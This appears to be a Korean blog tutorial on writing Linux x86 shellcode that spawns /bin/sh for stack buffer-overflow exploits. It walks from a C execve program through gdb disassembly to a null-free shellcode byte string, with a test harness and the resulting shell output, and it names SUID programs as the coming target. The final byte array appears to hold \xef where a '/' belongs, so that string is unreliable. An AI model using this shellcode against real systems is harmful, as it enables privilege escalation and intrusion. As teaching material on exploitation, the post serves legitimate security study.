Blog | Tag | Local | Guest | Login | Write |  RSS

오랜만에 뵙네여. 바로 시작합니다. (시그장님 흠좀무..ㄷㄷ)


전 글에서 설명하였듯이 스택의 적당한 곳에 우리가 직접 작성한 쉘코드를 집어넣어주면 된다. 하지만 이는 말처럼 쉽지만은 않다. 쉘코드를 C언어로 작성한다면 쉽지만 스택에 삽입해야 하기 때문에 기계어 수준의 코드를 필요로 한다는 점이다. 아울러 우리가 삽입한 코드의 어드레스를 알기가 그리 쉽지 않다는 것이다. 하지만 이런 어려움들을 이번 글에서 극복해본다.

쉘코드를 만드는 문제는 이미 인터넷에 현재 널리 사용되는 OS들의 쉘코드가 해커들 사이에 돌아다니고 있기 때문에, 그것을 얻음으로써 어느 정도는 쉽게 해결할 수 있다.

우리가 삽입한 코드의 정확한 위치를 아는 방법은 수많은 시행착오를 통해서 해결할 수 있는데, 여러번 시도해 보면 스택의 어디쯤에 삽입된 코드가 저장되어 있는지를 대략 짐작할 수 있다. 하지만 그 코드를 실행하기 위해서는 정확한 어드레스를 알아야 된다. 이것은 그 코드 앞에 충분히 많은 NOP(null operation) 코드를 삽입한 후 리턴 어드레스가 그 NOP를 가리키게끔 하는 방법으로 극복할 수 있다.

C로 짠 쉘코드

#include <stdio.h>

void main()

{

        char *name[2];

        name[0] = "/bin/sh";

        name[1] = NULL;

        execve(name[0], name, NULL);

}


위 코드를 디스어셈블하여 보면..
$gcc -o shellcode -ggdb -static shellcode.c
$gdb shellcode

...

(gdb) disassemble main
Dump of assembler code for function main:
0x8048124 <main>: pushl %ebp
...
(gdb : GNU Debuger. 컴파일된 파일을 이용하여 disassemble, Memory Map, trace, break 설정 등이 가능하다. 막강한 디버깅툴.)

jmp      0x2a
popl     %esi
movl     %esi, 0x8(%esi)
movb     %0x0, 0x7(%esi)
movl     %0x0, 0xc(%esi)
movl     $0xb, %eax
movl     %esi, %ebx
leal     0x8(%esi), %ecx
leal     0xc(%esi), %edx
int      $0x80
movl     %0x1, %eax
movl     %0x0, %ebx
int      $0x80
call     -0x2f
.string  "/bin/sh"

여기서 잠깐->


이 어셈코드를 스택에 넣은 다음 실행시키면 /bin/sh를 실행시키게 된다. 그렇게 하기 위해서는 위의 코드를 명령인자에 넣어주기 위해선 문자배열로 만들어야 되는데 다음과 같은 문자배열을 만들 수 있다.

"\xeb\x2a"
"\x5e"
"\x89\x76\x08"
"\xc6\x46\x07\x00"
"\xc7\x46\x0c\x00\x00\x00\x00"
"\xb8\x0b\x00\x00\x00"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80"
"\xe8\xd1\xff\xff\xff"
"/bin/sh";


이것을 스택에 넣고 실행시키면 문자열 "/bin/sh"가 실행된다.

char shellcode[] = "\xeb\x2a"

"\x5e"

"\x89\x76\x08"

"\xc6\x46\x07\x00"

"\xc7\x46\x0c\x00\x00\x00\x00"

"\xb8\x0b\x00\x00\x00"

"\x89\xf3"

"\x8d\x4e\x08"

"\x8d\x56\x0c"

"\xcd\x80"

"\xb8\x01\x00\x00\x00"

"\xbb\x00\x00\x00\x00"

"\xcd\x80"

"\xe8\xd1\xff\xff\xff"

"/bin/sh";


void
main()

{

        int *ret;

        ret = (int *)&ret + 2;

        (*ret) = (int)shellcode;

}


[hankyung@hankyung]$ gcc -o test_shell test_shell.c
[hankyung@hankyung]$ ./test_shell
bash$ exit
exit
[hankyung@hankyung]$

-> 쉘코드가 제대로 작동한다.
-> 쉘코드가 정수형이다. Exploit 시에 취약점을 가진 프로그램은 문자형 버퍼를 사용한다. 그래서 \x00 과 같은 NULL 바이트는 문자의 끝으로 인식하기 때문에 쉘코드를 끝까지 실행시킬 수 없다. 이제 NULL 바이트를 없애보자.


movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)

이것을

아래처럼
xorl %eax, %eax
movb %eax, 0x7(%esi)
movl %eax, 0xc(%esi)

(xorl => excursive or. 같은 값을 xor함)

movl $0xb, %eax
이것을

이렇게
movb $0xb, %al

movl $0x1, %eax
movl $0x0, %ebx

이것을

요롷코롬
xorl %ebx, %ebx
movl %ebx, %eax
inc %eax


변환한 쉘코드의 코드를 보면
jmp      0x1f
popl     %esi
movl     %esi, 0x8(%esi)
xorl     %eax, %eax
movb     %eax, 0x7(%esi)
movl     %eax, 0xc(%esi)
movb     $0xb, %al
movl     %esi, %ebx
leal     0x8(%esi), %ecx
leal     0xc(%esi), %edx
int      $0x80
xorl     %ebx, %ebx
movl     %ebx, %eax
inc      %eax
int      $0x80
call     -0x24
.string  "/bin/sh"

이것을 다시 문자배열로 만들어 보자.

"\xeb" "\x1f" "\x5e" "\x89" "\x76" "\x08" "\x31" "\xc0" "\x88" "\x46" "\x07" "\x89" "\x46" "\x0c" "\xb0" "\x0b"
"\x89" "\xf3" "\x8d" "\x4e" "\x08" "\x8d" "\x56" "\x0c" "\xcd" "\x80" "\x31" "\xdb" "\x89" "\xd8" "\x40" "\xcd"
"\x80" "\xe8" "\xdc" "\xff" "\xff" "\xff" "\xef" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00"

자. 이제 쉘코드를 완성하였다.

우선 이 코드가 어떻게 동작하는지 보자.

* jmp 0x1f
  call -0x24로 점프한다.
* call -0x24
  popl %esi를 호출한다. 이는 문자열 "/bin/sh"가 저장되어 있는 메모리의 영역을 알아내기 위해서이다. (call을 사용하면 리턴 어드레스가 스택에 push됨)
* popl %esi
  스택에 있는 리턴 어드레스 (/bin/sh 가 있는 어드레스)를 pop 해서 %esi에 저장.
* movl %esi, 0x8(%esi)
  %esi로부터 8만큼 떨어진 곳에 %esi (/bin/sh의 어드레스)를 저장한다.
* xorl %eax, %eax
  %eax를 NULL로 만든다.
* movb %eax, 0x7(%esi)
  %esi로부터 7만큼 떨어진 곳에 %eax(NULL)의 1바이트를 저장한다.
* movl %eax, 0xc(%esi)
  %esi로부터 12만큼 떨어진 곳에 %eax(NULL)의 4바이트를 저장한다.
* movb $0xb, %al
  %al에 11을 저장한다.
* movl     %esi, %ebx
  %esi를 %ebx에 저장한다. 현재 %esi는 /bin/sh의 어드레스를 가지고 있다.
* leal     0x8(%esi), %ecx

  %esi로부터 8만큼 떨어진 곳의 어드레스를 %ecx에 저장한다. 이것은 /bin/sh의 어드레스가 저장되어 있는 곳의 어드레스.
* leal     0xc(%esi), %edx

  %esi로부터 12만큼 떨어진 곳의 어드레스를 %edx에 저장한다. 이곳에는 NULL이 저장되어 있다.
* int      $0x80

  0x80 인터럽트를 호출한다. 여기까지 정상적으로 수행이 되었다면 execve(name[0], name, NULL)을 실행시키게 된다. %ebx에 있는 값이 name[0]이고 %ecx에 있는 값이 name이며 %edx에 있는 값이 NULL 이다.
* xorl     %ebx, %ebx

  %ebx를 NULL 로 만든다.
* movl     %ebx, %eax

  %ebx(NULL)를 %eax에 저장한다.
* inc      %eax

  %eax를 1만큼 증가시킨다.
* int      $0x80

  0x80 인터럽트를 호출한다. 쉘을 실행시킨 다음 이 부분은 exit를 호출해서 프로그램을 종료하는 코드이다.



쉘코드를 만들어봤습니다.
이제 공격대상 프로그램의 특정 함수의 리턴 어드레스를 알아내어 삽입하여 봅시다. 그리고 Buffer over flow 공격에 취약한 SUID 프로그램에 명령인자로 넣어주면 됩니다. 다음 글에서는 이것을 가지고 Buffer over flow 공격을 해봅시다. @^^@